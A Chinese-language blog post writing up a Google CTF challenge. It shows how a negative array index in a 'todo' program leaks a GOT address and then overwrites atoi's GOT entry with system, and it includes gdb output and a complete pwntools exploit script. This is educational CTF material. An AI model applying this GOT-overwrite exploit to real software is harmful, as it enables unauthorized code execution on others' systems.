virusdefender's blog ʕ•ᴥ•ʔ

二进制安全之栈溢出(十一)

本文是 plt 和 got 表相关的漏洞利用实例,是 Google CTF 中的一道题,题目给了源码和 binary。

通过阅读代码,可以发现

1int idx = read_int();
2if (idx > TODO_COUNT) {
3    puts(OUT_OF_BOUNDS_MESSAGE);
4    return;
5}
6printf("What's your TODO? ");
7fflush(stdout);
8read_line(&todos[idx*TODO_LENGTH], TODO_LENGTH);

这里虽然检查了 idx 最大不能超过某个范围,但是没有检查小于零的情况,所以如果构造小于零的 idx,就可以读取比 todos 数组地址还小的位置的内存了,同理,在 write_all 函数中,也可以任意的去写这个位置的内存。

todos 是一个全局变量,所以它的内存地址是确定的,是在 bss 段。因为 todos 的索引会乘以 TODO_LENGTH,所以内存的读取是跳跃的,每次都相差 48 个字节。

使用 gdb 调试,set follow-fork-mode parent 然后 b main p &todos 可以看到内存地址。

1gdb-peda$ p &todos
2$1 = (<data variable, no debug info> *) 0x555555757140 <todos>

在 IDA 中,也可以看到 todosgot 表距离也非常近,写一个小程序算一下

1base = 0x203140
2for i in range(10):
3    print hex(base - i * 48)

结合 IDA 的结果和计算输出的结果,可以标记出来一些有用的数据

 10x203140 -> todos
 20x203110
 30x2030e0
 40x2030b0
 5         0x203088(非整数倍) -> atoi
 60x203080 -> open
 70x203050 -> strncat
 80x203020 -> write
 90x202ff0
100x202fc0
110x202f90

比如先读一下 write 的地址

 1[-------------------------------------code-------------------------------------]
 2   0x555555554900 <puts@plt>:	jmp    QWORD PTR [rip+0x202712]        # 0x555555757018
 3   0x555555554906 <puts@plt+6>:	push   0x0
 4   0x55555555490b <puts@plt+11>:	jmp    0x5555555548f0
 5=> 0x555555554910 <write@plt>:	jmp    QWORD PTR [rip+0x20270a]        # 0x555555757020
 6 | 0x555555554916 <write@plt+6>:	push   0x1
 7 | 0x55555555491b <write@plt+11>:	jmp    0x5555555548f0
 8 | 0x555555554920 <strlen@plt>:	jmp    QWORD PTR [rip+0x202702]        # 0x555555757028
 9 | 0x555555554926 <strlen@plt+6>:	push   0x2
10 |->   0x555555554916 <write@plt+6>:	push   0x1
11       0x55555555491b <write@plt+11>:	jmp    0x5555555548f0
12       0x555555554920 <strlen@plt>:	jmp    QWORD PTR [rip+0x202702]        # 0x555555757028
13       0x555555554926 <strlen@plt+6>:	push   0x2
14                                                                  JUMP is taken
15[------------------------------------stack-------------------------------------]

重新画一下数据分布图

10x555555757140 -> todos
20x555555757110
30x5555557570e0
40x5555557570b0
50x555555757080
60x555555757050
70x555555757020 => 0x555555554916 -> write@plt+6

由以前的知识就知道 0x555555757020 就是 write 的 got 表的地址,减去刚才已知的 todos 的位置,正好是 (0x555555757020 - 0x555555757140) / 48 == -6

可以先构造一个读取 write 的 got 表地址 exp

 1from pwn import *
 2from struct import unpack
 3
 4proc = process("./todo")
 5proc.send("admin\n")
 6proc.readuntil(">")
 7proc.send("2\n")
 8proc.readuntil("read?")
 9proc.send("-6\n")
10res = proc.readuntil("Hi admin,").splitlines()[0]
11write_addr = res.split(':', 1)[1][1:].ljust(8, chr(0))
12write_addr = unpack("<Q", write_addr)[0]
13
14print hex(write_addr)

其中 <Q 是指定按照小端序读取 8 个字节作为一个数字。因为这时候 write 函数还没有被解析,所以 got 表中的 write 还是指向 write@plt+6 的。

剩下的步骤就简单多了,在 store_todo 函数中,可以将我们的输入写入 got 表的位置,所以应该是将 system@plt 的地址写入接下来要运行的参数可控的函数的 got 表的位置。发现 atoi 函数是一个选择,函数的偏移是确定的,system@plt - write@plt+6 也就是 0x555555554940 - 0x555555554916 = 0x2aatoi@plt 的地址可以使用 info addr atoi@plt 获取,是在偏移 -4 再加 8 个字节)。

完整 exp 如下

 1from pwn import *
 2from struct import unpack, pack
 3
 4proc = process("./todo")
 5proc.send("admin\n")
 6proc.readuntil(">")
 7proc.send("2\n")
 8proc.readuntil("read?")
 9proc.send("-6\n")
10res = proc.readuntil("Hi admin,").splitlines()[0]
11write_addr = res.split(':', 1)[1][1:].ljust(8, chr(0))
12write_addr = unpack("<Q", write_addr)[0]
13
14print hex(write_addr)
15
16proc.send("3\n")
17proc.readuntil("entry?")
18proc.send("-4\n")
19proc.readuntil("TODO?")
20proc.send("AAAAAAAA" + pack("<Q", write_addr + 0x2a)[:8] + "\n")
21
22proc.interactive()

参考


评论区



评论区

hx1997 2018-12-04 15:47:36
在学 pwn,资瓷一个qwq

提交评论 | 微信打赏 | 转载必须注明原文链接

#安全 #CTF